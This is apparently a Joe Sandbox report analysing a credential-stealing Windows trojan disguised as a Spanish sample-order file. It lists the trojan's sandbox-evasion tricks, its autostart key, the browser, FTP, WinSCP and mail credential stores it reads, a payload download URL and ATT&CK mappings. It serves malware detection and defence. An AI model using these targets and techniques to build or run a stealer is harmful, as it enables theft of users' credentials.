Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Window / User API: threadDelayed 799

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe TID: 7908	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe TID: 5248	Thread sleep count: 799 > 30	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_00406555 FindFirstFileW,FindClose,	0_2_00406555
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405A03
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_0040287E FindFirstFileW,	0_2_0040287E
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00406555 FindFirstFileW,FindClose,	3_2_00406555
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0040287E FindFirstFileW,	3_2_0040287E
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405A03

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.000000000592C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000058C8000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.000000000592C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	API call chain: ExitProcess graph end node			graph_0-4318
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	API call chain: ExitProcess graph end node			graph_0-4477

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_00405840 CreateDirectoryW,GetLastError,GetLastError,LdrInitializeThunk,SetFileSecurityW,GetLastError,

0_2_00405840

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Process created: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Queries volume information: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040344A

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match

File source: 00000003.00000002.7577422376.0000000035D65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	136 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	521 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	37%	ReversingLabs	Win32.Trojan.InjectorX
CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	100%	Avira	HEUR/AGEN.1333748

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe	100%	Avira	HEUR/AGEN.1333748
C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe	37%	ReversingLabs	Win32.Trojan.InjectorX

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	Avira URL Cloud	safe
http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin	100%	Avira URL Cloud	malware
https://support.google.com/chrome/?p=plugin_flash	0%	Avira URL Cloud	safe
http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin9	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
http://ip-api.com	0%	Avira URL Cloud	safe
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	0%	Avira URL Cloud	safe
http://status.thawte.com0:	0%	Avira URL Cloud	safe
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	0%	Avira URL Cloud	safe
http://ip-api.com/line/?fields=hosting	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.zoho.eu	185.230.214.164	true	false		unknown
ip-api.com	45.125.247.123	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin	false	Avira URL Cloud: malware	unknown
http://ip-api.com/line/?fields=hosting	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.google.com/chrome/?p=plugin_flash	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035DB7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin9	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005909000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000000.00000000.2476495391.000000000040A000.00000008.00000001.01000000.00000003.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035D31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://status.thawte.com0:	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035D31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.230.214.164	smtp.zoho.eu	Netherlands	41913	COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	false
45.125.247.123	ip-api.com	India	136557	HOST-AS-APHostUniversalPtyLtdAU	true
107.150.18.109	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1510346
Start date and time:	2024-09-12 21:27:00 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/14@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 92% Number of executed functions: 173 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Execution Graph export aborted for target CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, PID 6816 because it is empty
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Simulations

Behavior and APIs

Time	Type	Description
21:29:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe
21:30:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.230.214.164	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	Orden#46789_2024_Optoflux_mexico_sderlss.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	Orden#46789_2024_Optoflux_mexico_sderls.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	okPY77wv6E.exe	Get hash	malicious	AgentTesla	Browse
	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Get hash	malicious	AgentTesla	Browse
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRYs.exe	Get hash	malicious	GuLoader	Browse
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Get hash	malicious	AgentTesla	Browse
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	decode_d1213cfcb6ee6791dcf785b67585548f1168d642e005e30d1682ea53c718e57d.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	http://tplshare.com/iVX5CrQ	Get hash	malicious	Unknown	Browse	51.77.64.70
	https://url.uk.m.mimecastprotect.com/s/mPYbC6R8kf47GAUxtNC5T-0g?domain=tplshare.com	Get hash	malicious	HTMLPhisher	Browse	208.95.112.2
	documento de envio para fatura n#U00ba 52-FK-24.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Google%20Chrome.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	ILV7tQG1Jl.exe	Get hash	malicious	DCRat, XWorm	Browse	208.95.112.1
	Orden de Compra - (OC_17407)_9878764586975696879087867568.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de compra_0977086779870680675545.Pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	OC_7001628119_7068059988.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
smtp.zoho.eu	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.214.164
	INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	RFQ448903423_MAT_HASUE_de_Mexico.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	File.com.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.212.164
	Orden#46789_2024_Optoflux_mexico_sderlss.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.214.164
	Orden#46789_2024_Optoflux_mexico_sderlsTY.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.214.164
	Orden#46789_2024_Optoflux_mexico_sderlsTYP.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.214.164

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.214.164
	https://americanathletic.zohodesk.com/portal/en/kb/articles/secure-business-documents	Get hash	malicious	Unknown	Browse	89.36.170.147
	INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	RFQ448903423_MAT_HASUE_de_Mexico.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	bat.bat	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer, XWorm, zgRAT	Browse	185.230.212.169
	File.com.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.212.164
	https://forms.zohopublic.eu/oyika/form/OfficeAdministration/formperma/9Y9iItPBjtbizq-LjIqfCLG9lgQgDpYgginS586dnzM	Get hash	malicious	Unknown	Browse	89.36.170.147
	http://workdrive.zohoexternal.com	Get hash	malicious	Unknown	Browse	89.36.170.147
ASN-QUADRANET-GLOBALUS	Ricowell Ind New INQ.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.188.18.75
	ORDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	107.150.19.141
	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse	155.94.232.241
	S5RSIJ1pA1.exe	Get hash	malicious	RedLine	Browse	194.49.68.19
	GLP3VibiyA.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	64.188.9.175
	fYHJsEQSv0.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	XQmV6MKs53.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	SecuriteInfo.com.Linux.Siggen.9999.8352.26322.elf	Get hash	malicious	Mirai	Browse	172.93.183.162
HOST-AS-APHostUniversalPtyLtdAU	http://www.nenechicken.com.au	Get hash	malicious	Unknown	Browse	103.192.80.101
	6i9b6tyyQF.elf	Get hash	malicious	Mirai	Browse	103.119.111.79
	SecureMessage99331.htM	Get hash	malicious	HTMLPhisher	Browse	103.146.112.32
	ryidtyjrh	Get hash	malicious	Unknown	Browse	103.146.112.152
	3E1t6Pk34A.elf	Get hash	malicious	Mirai	Browse	103.192.86.42
	Note.one	Get hash	malicious	Qbot	Browse	103.192.80.173
	oS2M3K9VDO.elf	Get hash	malicious	Mirai, Moobot	Browse	103.119.111.89
	https://app.smartsheet.com/b/download/att/1/7953430800033668/2d1kcfy3a3mgsxdrbomrc9v3jo	Get hash	malicious	HTMLPhisher	Browse	180.149.229.13
	tUcbdMVsyd	Get hash	malicious	Gafgyt, Mirai	Browse	103.217.254.124
	SSH.mips	Get hash	malicious	Mirai	Browse	103.119.111.38

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll	SecuriteInfo.com.Riskware.Application.5189.31489.exe	Get hash	malicious	Unknown	Browse
	INQ No. HDPE-16-GM-00- PI-INQ-300.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse
	INQ No. HDPE-16-GM-00- PI-INQ-300.bat.exe	Get hash	malicious	GuLoader	Browse
	INQ No. HDPE-16-GM-00.bat.exe	Get hash	malicious	Unknown	Browse
	INQ No. HDPE-16-GM-00.bat.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.18455.13769.exe	Get hash	malicious	GuLoader	Browse
